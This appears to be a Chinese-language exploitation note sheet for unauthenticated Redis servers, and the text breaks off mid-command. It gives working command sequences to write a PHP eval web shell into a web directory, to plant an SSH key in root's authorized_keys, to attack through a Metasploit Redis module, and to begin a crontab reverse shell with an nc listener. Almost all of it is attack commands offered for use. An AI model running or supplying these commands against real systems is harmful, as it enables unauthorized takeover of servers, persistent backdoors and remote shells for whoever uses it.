redis未授权漏洞
利用条件
版本比较高的redis需要修改redis的配置文件,将bind前面#注释符去掉,将protected-mode 后面改为no
写入webshell
config get dir #查看redis数据库路径
config set dir web路径# #修改靶机Redis数据库路径
config set dbfilename shell.php #生成shell.php文件
set xxx "\r\n\r\n<?php phpinfo();?>\r\n\r\n"#将一句话木马写入文件中
#"\r\n\r\n"是换行的意思,用redis写入文件会自带一些版本信息,如果不换行可能导致无法执行。
set xxx "\r\n\r\n<?php @eval($_POST['coleak']);?>\r\n\r\n"#上传木马可以通过蚁剑连接
save#保存
ssh密钥连接
利用条件
1.当redis以root身份运行。
2.靶机redis链接未授权,在攻击机上能用redis-cli连上
3.存在/root/.ssh目录,如果不存在我们可以通过一句话木马连接蚁剑创建目录(权限问题可能不成功)。因为.ssh是隐藏目录可以通过ls -la查看有没有。
ssh-keygen -t rsa
将公钥id_rsa.pub里面内容复制到key.txt上传到靶机上面
cat key.txt | redis-cli -h ip -x set xxx#如果是windows 将cat换成type
#将公钥作为value插入到数据库中
redis-cli -h 192.168.43.141
config get dir
config set dir /root/.ssh
config set dbfilename authorized_keys
save
ssh -i id_rsa root@ip
msf利用
msfdb run#开启msf
search redis#查看有关redis的模块
use 5
show options
set RHOST 192.168.3.207 #设置靶机的ip
run
利用crontab反弹shell
nc -lvnp 4444
redis-cli -h 192.168.0.104
set xxx "\n\n*/1 *